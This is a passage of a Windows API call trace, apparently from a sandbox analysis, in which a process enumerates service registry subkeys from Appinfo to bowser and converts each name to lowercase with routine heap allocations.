[0180.509] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0180.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0180.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.509] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0180.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0180.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.510] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0180.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0180.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.510] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0180.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0180.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.510] RegEnumKeyW (in: hKey=0x140, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0180.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0180.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.511] RegEnumKeyW (in: hKey=0x140, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0180.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0180.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0180.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.511] RegEnumKeyW (in: hKey=0x140, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0180.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a00, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0180.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.511] RegEnumKeyW (in: hKey=0x140, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0180.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0180.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.511] RegEnumKeyW (in: hKey=0x140, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0180.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0180.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.512] RegEnumKeyW (in: hKey=0x140, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0180.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0180.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1a90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0180.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.512] RegEnumKeyW (in: hKey=0x140, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0180.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0180.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.512] RegEnumKeyW (in: hKey=0x140, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0180.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0180.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.513] RegEnumKeyW (in: hKey=0x140, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0180.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0180.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.513] RegEnumKeyW (in: hKey=0x140, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0180.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0180.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.513] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0180.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0180.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.513] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0180.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0180.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.514] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0180.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0180.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0180.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.514] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0180.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0180.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.514] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0180.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0180.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0180.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.514] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0180.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0180.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.515] RegEnumKeyW (in: hKey=0x140, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0180.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0180.515] 